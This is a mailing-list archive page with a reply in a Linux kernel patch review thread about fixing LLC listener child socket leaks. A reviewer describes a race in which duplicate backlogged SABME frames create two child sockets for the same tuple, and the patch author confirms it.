> > +                     rc = llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
>
> [Severity: Medium]
> Could this create two children for the same tuple?
>
> While the listener is owned, llc_conn_handler() backlogs SABMEs without
> creating a child. A retransmitted or duplicate SABME from the same peer
> can arrive before release_sock(). It finds no child in __llc_lookup(),
> resolves to the listener, and is backlogged as well.
>
> When the backlog drains, each SABME reaches llc_conn_rcv_sabme(). That
> function only checks sk_acceptq_is_full() before
> llc_create_incoming_sock() hashes a new child. The established tuple is
> not looked up again.
>
> Both children reach NORMAL, send UA and queue an accept indication.
> sk_nulls_add_node_rcu() adds at the head, so only the newest child gets
> traffic.
>
> The older child is still accepted by userspace but never receives frames.
> Its sends, and its DISC on close, use the same tuple as the peer's single
> connection.
>
> Before this patch, getting here needed two CPUs racing on the listener
> slock. With this patch, hitting the owned-listener window at all seems to
> be enough.

Confirmed. Duplicate deferred SABMEs can create duplicate children as described.
>
> > +                     goto out;
> > +             } else if (unlikely(llc->state <= 1 || !skb->sk)) {
> >                       goto out_kfree_skb;
> > +             }
> > +             rc = llc_conn_rcv(sk, skb);
>
> [ ... ]

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-09-28 12:50 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-24 16:32 [PATCH net v12 0/1] llc: fix listener child socket leaks Zihan Xi
2026-09-24 16:32 ` [PATCH net v12 1/1] " Zihan Xi
2026-09-28  9:49   ` Simon Horman
2026-09-28 12:50     ` zihan xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®